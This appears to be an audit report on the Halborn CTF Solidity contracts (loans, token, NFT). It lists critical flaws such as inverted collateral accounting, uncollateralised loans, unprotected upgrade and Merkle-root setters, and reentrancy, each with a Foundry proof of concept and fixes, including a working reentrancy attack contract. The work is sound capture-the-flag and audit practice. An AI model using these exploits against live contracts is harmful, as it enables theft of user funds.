Project Name: Halborn CTF

Audited By: 10ambear

Twitter: https://twitter.com/10ambear

Github: https://github.com/10ambear

Vulnerability Level	Total	Pending
Critical	9	9
High	1	1
Medium	0	0
Low	4	4

Scope

ID	File	SHA-1 Hash
LNS	src/HalbornLoans.sol	d8700fd0ac652270073e5fb63d3155337bc04313
TOK	src/HalbornToken.sol	cb89548e8400dd3a62b16b3be25fac6535548010
NFT	src/HalbornNFT.sol	7499864c9f4eebc018d4608625f4a3ed2bb54e53

Index

RISK METHODOLOGY:

Vulnerabilities or issues observed by Halborn are ranked based on the risk assessment methodology by measuring the **LIKELIHOOD** of a security in- cident, and the **IMPACT** should an incident occur. This framework works for communicating the characteristics and impacts of technology vulnerabili- ties. It's quantitative model ensures repeatable and accurate measurement while enabling users to see the underlying vulnerability characteristics that was used to generate the Risk scores. For every vulnerability, a risk level will be calculated on a scale of 5 to 1 with 5 being the highest likelihood or impact.

RISK SCALE - LIKELIHOOD

5 - Almost certain an incident will occur.
4 - High probability of an incident occurring.
3 - Potential of a security incident in the long term.
2 - Low probability of an incident occurring.
1 - Very unlikely issue will cause an incident.

RISK SCALE - IMPACT

5 - May cause devastating and unrecoverable impact or loss.
4 - May cause a significant level of impact or loss.
3 - May cause a partial impact or loss to many.
2 - May cause temporary impact or loss.
1 - May cause minimal or un-noticeable impact.

The risk level is then calculated using a sum of these two values, creating a value of 10 to 1 with 10 being the highest level of security risk.

10 - CRITICAL
9 - 8 - HIGH
7 - 6 - MEDIUM
5 - 4 - LOW
3 - 1 - VERY LOW AND INFORMATIONAL

[C-01] Incorrect accounting in returnLoan

Description:

The returnLoan function in HalbornLoans increases the usedCollateral value instead of decreasing it. This means that the user's usedCollateral value will increase with every repaid loan (the inverse of the intended functionality).

The impact of the vulnerability is that the users will not be able to call withdrawCollateral as it will revert here: require(totalCollateral[msg.sender] - usedCollateral[msg.sender] >= collateralPrice, "Collateral unavailable"); which means that the user will not be able to withdraw their collateral if loans are repaid, incurring loss of funds.

Users will also not be able to take loans up to their collateral value and eventually DOS themselves unknowingly, resulting in not being able to take any loans. Consider this example:

1. Alice deposits an NFT worth 1 ETH
2. Alice takes a loan worth 0.5 ETH usedCollateral[Alice] = 0.5 eth
3. Alice repays the loan of 0.5 ETH, but the increased to usedCollateral[Alice] = 1 eth
4. Alice will not be able to call withdrawCollateral , thus her funds will be stuck in the protocol
5. Alice will also not be able to call getLoan again

Code location:

```
66
67      function returnLoan(uint256 amount) external {
68          require(usedCollateral[msg.sender] >= amount, "Not enough collateral");
69          require(token.balanceOf(msg.sender) >= amount);
70          usedCollateral[msg.sender] += amount;
71          token.burnToken(msg.sender, amount);
72      }
73
```

Proof of concept:

Please note that the fixes from C-07 and C-02 have to be implemented in order to run the coded POC.

```
function testCollateralPoc() public{
    // Mint NFT for Alice
    vm.deal(ALICE, 1 ether);
    vm.startPrank(ALICE);
    nft.mintBuyWithETH{value: 1 ether}();

    // deposit nft into Halborn loans
    nft.approve(address(loans), 1);
    loans.depositNFTCollateral(1);
    assertEq(loans.totalCollateral(ALICE), 2 ether);

    // take out loan
    loans.getLoan(0.5 ether);
    assertEq(nft.balanceOf(ALICE), 0);
    assertEq(token.balanceOf(ALICE), 0.5 ether);
    assertEq(loans.usedCollateral(ALICE), 0.5 ether);

    // return loan
     assertEq(loans.usedCollateral(ALICE), 0.5 ether); // <- used collateral before returning loan
     loans.returnLoan(0.5 ether); // <- return loan
     assertEq(token.balanceOf(ALICE), 0); // <- decrease in Halborn token balance
     assertEq(loans.usedCollateral(ALICE), 1 ether); // <- increase in used collateral

    // revert to withdraw even though the user has no debt
    vm.expectRevert();
    loans.withdrawCollateral(1);
    vm.stopPrank();
}
```

Risk level:

Likelihood - 5

Impact - 5

Recommendation:

That the protocol reduces the usedCollateral value accordingly:

```
--usedCollateral[msg.sender] += amount;
++usedCollateral[msg.sender] -= amount;
```

[C-02] Incorrect operator in getLoan could lead to loans with no collateral

Description:

The getLoan function in HalbornLoans is validating that the totalCollateral minus the usedCollateral is smaller than the amount the user wants to loan, but it should evaluate if the amount is bigger than totalCollateral minus the usedCollateral. This means that a malicious user would be able to take a loan up to the maximum uint256 value without depositing an NFT or having any collateral.

Code location:

```
57
58          function getLoan(uint256 amount) external {
59              require(
60                  totalCollateral[msg.sender] - usedCollateral[msg.sender] < amount,
61                  "Not enough collateral"
62              );
63              usedCollateral[msg.sender] += amount;
64              token.mintToken(msg.sender, amount);
65          }
66
```

Proof of concept

```
109     function testSymbolPoc() public{
110
111         vm.prank(ALICE);
112         loans.getLoan(type(uint256).max);
113         assertEq(token.balanceOf(ALICE), type(uint256).max);
114
115         vm.stopPrank();
116     }
117
```

Risk level:

Likelihood - 5

Impact - 5

Recommendation:

Consider making the following change:

```
--require(totalCollateral[msg.sender] - usedCollateral[msg.sender] < amount, "Not enough collateral");
++require(totalCollateral[msg.sender] - usedCollateral[msg.sender] > amount, "Not enough collateral");
```

[C-03] HalbornLoans does not take NFT price changes into account

Description

A price mismatch between the HalbornNFT and HalbornLoans contracts could result in users loaning against more collateral than intended by the HalbornLoans contract. As an NFT could be perceived as more valuable to the HalbornLoans contract.

The price of an NFT is initially set in the setPrice function (callable by the owner) in HalbornNFT , this is the price a user has to pay to mint an NFT. The user can then deposit the NFT into HalbornLoans by calling depositNFTCollateral . The collateral is calculated using the collateralPrice set in the constructor. As the collateralPrice is an immutable variable set during the creation of the contract any changes to the prices of NFTs captured in HalbornNFT will not reflect a change in collateralPrice on the HalbornLoans contract. There are two possible scenarios:

1. If the price of a HalbornNFT increases, a user should not be able to get sufficient collateral to loan against.
2. If the price of a HalbornNFT decreases, a user's NFT is over-collateralized, incurring bad debt for the protocol.

Code location:

The setPrice function on HalbornNft:

```
35
36          function setPrice(uint256 price_) public onlyOwner {
37              require(price_ != 0, "Price cannot be 0");
38              price = price_;
39          }
40
```

The constructor in HalbornLoans:

```
20
21          constructor(uint256 collateralPrice_) {
22              collateralPrice = collateralPrice_;
23          }
24
```

Proof of concept:

- Owner deploys HalbornNFT and sets the price to 2 ETH
- Owner deploys HalbornLoans and sets the collateralPrice to 2 ETH
- Alice mints an NFT and deposits to HalbornLoans
- Alice could get a loan worth ~1.9 ETH, but doesn't take it yet
- Owner calls HalbornNFT and updates the price of the NFTs to 0.5 ETH
- Alice takes a loan worth ~1.9 ETH even though her NFT is worth 0.5 ETH

Please note that the fixes from C-07 and C-02 have to be implemented in order to run the coded POC.

```
function testPriceDifferencePoc() public{
    // Mint NFT for Alice
    vm.startPrank(ALICE);
    vm.deal(ALICE, 1 ether);
    nft.mintBuyWithETH{value: 1 ether}();

    // deposit nft into Halborn loans
    nft.approve(address(loans), 1);
    loans.depositNFTCollateral(1);
    assertEq(loans.totalCollateral(ALICE), 2 ether);
    vm.stopPrank();

    // reduce the price of halborn NFT
    vm.prank(DEPLOYER);
    nft.setPrice(0.5 ether);

    // take out a loan
    vm.startPrank(ALICE);
    loans.getLoan(1.99 ether);
    vm.stopPrank();

    // loan amount exceed collateral amount
    assertEq(token.balanceOf(ALICE), 1.99 ether);
    assertEq(nft.balanceOf(ALICE), 0);
}
```

Risk level:

Likelihood - 5

Impact - 5

Recommendation:

Consider adding functionality that tracks the NFT prices per NFT, such as a mapping `mapping(uint256 => uint256) public nftIdPrice;` in order to track the price of each individual NFT. This would ensure that the total collateral available will be tracked on a per NFT basis. The `collateralPrice` could then be removed as well.

[C-04] A malicious user can call `_authorizeUpgrade` due to missing modifier

Description:

Any user can call the `_authorizeUpgrade` function in `HalbornLoans`, `HalbornNFT` & `HalbornToken` . This means that any user can upgrade the contracts regardless if they are authorized to do so.

The _authorizeUpgrade is used by UUPSUpgradable proxies to control which users can upgrade the implementation contract of a proxy, thus if any user can call this function, the result would be that any user could authorize themselves to upgrade the contract.

With reference to the OpenZeppelin UUPSUpgradeable contract "*The {_authorizeUpgrade} function must be overridden to include access restriction to the upgrade mechanism.*" .

Code location:

- HalbornLoans
- HalbornNFT
- HalbornToken

```
43
44          function _authorizeUpgrade(address) internal override {}
45      }
```

Risk level:

Likelihood - 5

Impact - 5

Recommendation:

Consider adding an onlyOwner modifier:

```
Diff
--function _authorizeUpgrade(address) internal override {}
++function _authorizeUpgrade(address) internal override onlyOwner {}
```

[C-05] Reentrancy in the `withdrawCollateral` function could lead to bad debt

Description:

The `withdrawCollateral` function in `HalbornLoans` makes use of `safeTransferFrom` which has a callback function (`onERC721Received`) that can be used to reenter the contract.

Malicious users can use the reentrancy vulnerability to call back into the contract and make unintended state changes. Consider the following scenario referring to `HalbornLoans`:

1. Alice deposits an NFT worth `2 ETH` which gives her access to a loan
2. Alice calls `withdrawCollateral` to withdraw the collateral for her NFT
3. When `safeTransferFrom` in `withdrawCollateral` calls back to Alice's malicious contract, she re enters `HalbornLoans` and calls `getLoan` for `~1.99ETH`
4. A key piece of accounting in `withdrawCollateral` has not completed yet: `totalCollateral[msg.sender] -= collateralPrice;`, which means Alice still has collateral available
5. Alice gets a loan and all her collateral for the NFT, which means that the protocol incurred a significant loss

Code location:

```
44
45          function withdrawCollateral(uint256 id) external {
46              require(
47                  totalCollateral[msg.sender] - usedCollateral[msg.sender] >=
48                      collateralPrice,
49                  "Collateral unavailable"
50              );
51              require(idsCollateral[id] == msg.sender, "ID not deposited by caller");
52
53              nft.safeTransferFrom(address(this), msg.sender, id);
54              totalCollateral[msg.sender] -= collateralPrice;
55              delete idsCollateral[id];
56          }
```

Proof of concept

Please note that the fixes from C-07 and C-02 have to be implemented in order to run the coded POC.

The attacking contract:

```
interface IHalbornLoans {
    function getLoan(uint256 amount) external;
}

contract LoanAttack is IERC721ReceiverUpgradeable {

    IHalbornLoans public halbornLoans;
    bool private _attackContractLock;

    constructor(address halbornLoans_) {
        halbornLoans = IHalbornLoans(halbornLoans_);
    }

    function onERC721Received(address, address, uint256, bytes calldata) public override returns (bytes4)
    {
        // we mint an NFT first, which also has a callback
        // thus we have to wait to reenter the loans contract
        if (!_attackContractLock) {
            console.log("NFT minted");
            _attackContractLock = true;
        }else{
            console.log("Call withdraw, reenter for loan");
            halbornLoans.getLoan(1.99 ether);
        }

        return this.onERC721Received.selector;
    }

}
```

The test:

```
function testReentrancyPoc() public {
    LoanAttack loanAttack = new LoanAttack(address(loans));
    vm.deal(address(loanAttack), 1 ether);

    vm.startPrank(address(loanAttack));
    nft.mintBuyWithETH{value : 1 ether}();
    assertEq(nft.ownerOf(1), address(loanAttack)); // mock owns nft

    nft.approve(address(loans), 1);
    loans.depositNFTCollateral(1);
    loans.withdrawCollateral(1);
    vm.stopPrank();

    // the attack contract has its nft back
    assertEq(nft.ownerOf(1), address(loanAttack));

    // the attack contract has taken out a loan
    assertEq(token.balanceOf(address(loanAttack)), 1.99 ether);
    console.log("token.balanceOf(address(loanAttack))", token.balanceOf(address(loanAttack)));

}
```

The result:

```
~/audits/ctf/CTFs/HalbornCTF_Solidity_Ethereum / master +3 !4 ?3 forge test --match-test testReentrancyPoc -vvv
[⠒] Compiling...
[⠢] Compiling 3 files with 0.8.21
[⠒] Solc 0.8.21 finished in 1.72s
Compiler run successful!

Running 1 test for test/Halborn.t.sol:HalbornTest
[PASS] testReentrancyPoc() (gas: 447143)
Logs:
  NFT minted
  Call withdraw, reenter for loan
  Balance of attacker 1990000000000000000

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.46ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

Risk level:

Likelihood - 5

Impact - 5

Recommendation:

- We recommend that the protocol use the "Checks, Effects and interactions" design pattern, by updating the protocol state before any transfers are executed. Refer to the diff in HalbornLoans::withdrawCollateral:

```
Diff
--nft.safeTransferFrom(address(this), msg.sender, id);
--totalCollateral[msg.sender] -= collateralPrice;

++totalCollateral[msg.sender] -= collateralPrice;
++nft.safeTransferFrom(address(this), msg.sender, id);
```

- Note that the protocol could also make use of OpenZeppelin's ReentrancyGuard

[C-06] `HalbornLoans` cannot receive NFT for collateral deposit

Description:

The `depositNFTCollateral` function in `HalbornLoans` cannot receive an NFT in its current state, which means that users would not be able to deposit NFTs into the contract.

The `depositNFTCollateral` is used to deposit an NFT into `HalbornLoans` in order to allow users to borrow against the NFT's collateral value. The function makes use of `safeTransferFrom` to transfer the NFT from the `msg.sender` to the contract. The `safeTransferFrom` function will cause a revert due to the fact that it has a built in callback function `onERC721Received` that calls back to the `HalbornLoans` contract with no functionality to receive the callback. The intended `onERC721Received` function was designed to be overridden by the caller if the caller was a contract. A user would not be able to transfer deposit NFT's in `HalbornLoans`.

Code location:

```
32
33          function depositNFTCollateral(uint256 id) external {
34              require(
35                  nft.ownerOf(id) == msg.sender,
36                  "Caller is not the owner of the NFT"
37              );
38
39              nft.safeTransferFrom(msg.sender, address(this), id);
40
41              totalCollateral[msg.sender] += collateralPrice;
42              idsCollateral[id] = msg.sender;
43          }
44
```

Proof of concept:

```
function testDepositRevert() public{
    // Mint NFT for Alice
    vm.startPrank(ALICE);
    vm.deal(ALICE, 1 ether);
    nft.mintBuyWithETH{value: 1 ether}();

    // deposit nft into Halborn loans
    nft.approve(address(loans), 1);
    vm.expectRevert();
    loans.depositNFTCollateral(1); // <- revert
    vm.stopPrank();
}
```

Risk level:

Likelihood - 5

Impact - 5

Recommendation:

Consider using transferFrom in the HalbornLoans::depositNFTCollateral function:

```
Diff
--nft.safeTransferFrom(msg.sender, address(this), id);
++nft.transferFrom(msg.sender, address(this), id);
```

[C-07] Missing authorization check on `setMerkleRoot` function

Description:

The `setMerkleRoot` function in `HalbornNFT` is missing an `onlyOwner` modifier (authorization check). This means that a malicious user can update the `merkleRoot` of the contract and manipulate the results or DOS the `mintAirdrops` function.

The `setMerkleRoot` is used to set the `merkleRoot` parameter in the `mintAirdrops` function in order to verify if the supplied proof is valid. If a malicious user updates this as users are submitting proofs, the proofs will be invalid. The malicious user could also use this functionality to make their own proofs valid, thus gaining access to mint airdrops that were intended to be minted by other users.

Code location:

```
40
41      function setMerkleRoot(bytes32 merkleRoot_) public {
42          merkleRoot = merkleRoot_;
43      }
44
```

Risk level:

Likelihood - 5

Impact - 5

Recommendation:

Considering adding the the `onlyOwner` modifier to the `setMerkleRoot` function in `HalbornNFT`:

```
--function setMerkleRoot(bytes32 merkleRoot_) public {
++function setMerkleRoot(bytes32 merkleRoot_) public onlyOwner {
```

[C-08] NFT ids are tracked incorrectly

Description:

The ids of the NFTs HalbornNFT are not tracked correctly as the NFT ids between `mintAirdrops` and `mintBuyWithETH` are tracked separately. The vulnerability results in users not being able to mint or buy NFTs.

Consider the following scenario:

1. The protocol does an airdrop of 50 NFTs
2. The `mintAirdrops` function is called 50 times
3. Alice wants to buy an NFT with native ETH and calls `mintBuyWithETH`
4. The transaction will revert with a “token already minted” error
5. The `idCounter` will never be incremented

The `idCounter` is only incremented in `mintBuyWithETH` not in `mintAirdrops`, thus `mintBuyWithETH` will revert. If the airdrop makes use of `id=1` the `mintBuyWithETH` will be in a permanent revert state as the `idCounter` cannot be incremented.

Code location:

```
44
45      function mintAirdrops(uint256 id, bytes32[] calldata merkleProof) external {
46          require(_exists(id), "Token already minted");
47
48          bytes32 node = keccak256(abi.encodePacked(msg.sender, id));
49          bool isValidProof = MerkleProofUpgradeable.verifyCalldata(
50              merkleProof,
51              merkleRoot,
52              node
53          );
54          require(isValidProof, "Invalid proof.");
55
56          _safeMint(msg.sender, id, "");
57      }
58
59      function mintBuyWithETH() external payable {
60          require(msg.value == price, "Invalid Price");
61
62          unchecked {
63              idCounter++;
64          }
65
66          _safeMint(msg.sender, idCounter, "");
67      }
68
```

Proof of concept

Please note that the fixes from C-07, C-02 and C-10 have to be implemented in order to run the coded POC.

```
function testNftIdIncorrect() public{

    // mint nft for alice via airdrop
    vm.startPrank(ALICE);
    nft.mintAirdrops(15, ALICE_PROOF_1);
    vm.stopPrank();
    assertEq(nft.ownerOf(15), ALICE);

    // mint nft for bob via mintBuyWithETH
    vm.deal(BOB, 14 ether);
    for(uint i = 0; i < 14; i++){
        vm.startPrank(BOB);
        if (i == 14){
            // will revert when the nftId = 15 because Alice minted 15
            vm.expectRevert();
            nft.mintBuyWithETH{value : 1 ether}();
        }
        else{
            nft.mintBuyWithETH{value : 1 ether}();
        }
        vm.stopPrank();
    }

    // the counter cannot be incremented manually
    // thus the mintBuyWithETH will always revert
    vm.deal(ALICE, 1 ether);
    vm.startPrank(ALICE);
    vm.expectRevert();
    nft.mintBuyWithETH{value : 1 ether}();
    vm.stopPrank();

}
```

Risk level:

Likelihood - 5

Impact - 5

Recommendation:

Make use of OpenZeppelin's `IERC721EnumerableUpgradeable`

library to track and enumerate the NFT ids on a protocol level.

[C-9] `mintAirdops` DOS for new tokens

Description:

The `mintAirdrops` function in `HalbornNFT` will revert for every NFT that has not been minted, which stops the intended functionality of the function.

The `mintAirdrops` function checks if a token already exists before minting the token via this require statement: `require(_exists(id), "Token already minted");` . If a token does not exist this line of code will return false `_exists(id)` , which means that the transaction will revert with the “Token already minted” error. The result of this is users will not be able to mint new tokens, but minting new tokens is the intended functionality of the function.

Code location:

```
44
45      function mintAirdrops(uint256 id, bytes32[] calldata merkleProof) external {
46          require(_exists(id), "Token already minted");
47
48          bytes32 node = keccak256(abi.encodePacked(msg.sender, id));
49          bool isValidProof = MerkleProofUpgradeable.verifyCalldata(
50              merkleProof,
51              merkleRoot,
52              node
53          );
54          require(isValidProof, "Invalid proof.");
55
```

Proof of concept:

```
    function testAirdropDos() public{

        // mint nft for alice via airdrop
        vm.deal(ALICE, 2 ether);
        vm.prank(ALICE);
        vm.expectRevert();
        nft.mintAirdrops(15, ALICE_PROOF_1);
    }
}
```

Risk level:

Likelihood - 5

Impact - 5

Recommendation:

Consider the diff below:

```
--require(_exists(id), "Token already minted");
++require(!_exists(id), "Token already minted");
```

[H-01] The protocol can incur bad debt

Description:

The protocol does not over-collateralize its lending, thus it can incur bad debt by allowing users to take loans equal to the value of their collateral. The protocol also doesn't have a liquidate mechanism to close bad debt positions.

Consider the following:

1) Alice buys an NFT for `1 ETH`
2) Alice calls `depositNFTCollateral` and gets collateral worth `2 ETH`
3) Alice then uses the collateral to take a loan of `~2 ETH`
4) The value of the NFT decreases to `1.5 ETH`
5) This means that there is no incentive for Alice to pay back the loan to the protocol, thus incurring `0.5 ETH` of bad debt.

Code location:

```
57
58      function getLoan(uint256 amount) external {
59          require(
60              totalCollateral[msg.sender] - usedCollateral[msg.sender] < amount,
61              "Not enough collateral"
62          );
63          usedCollateral[msg.sender] += amount;
64          token.mintToken(msg.sender, amount);
65      }
66
```

Risk level:

Likelihood - 5

Impact - 5

Recommendation:

Consider adding a mechanism to over-collateralize the lending and add functionality to liquidate positions that incur bad debt.

Additional considerations:

There were some issues that I discovered (or think I did) where I still need to do some learning and research. I didn't want to put them in without fully understanding them.

Consideration-1:

There is a possible second preimage attack in the mintAirdrops function due to the fact that the node isn't hashed twice. bytes32 node = keccak256(abi.encodePacked(msg.sender, id));. Code location.

Consideration-2

The protocol assumes that the HalbornToken will remain at the same price. There's no oracle to make sure that the prices are what they are. If the HalbornToken were to de-pegg the users would still take loans and pay for NFTs on fixed price amounts.

Consideration-3

The initializer can be frontrun and should have an onlyOwner modifier.

Consideration-4

I mentioned this in C-03 as a remediation as well, but the constructor with the collateralPrice in HalbornLoans should be removed.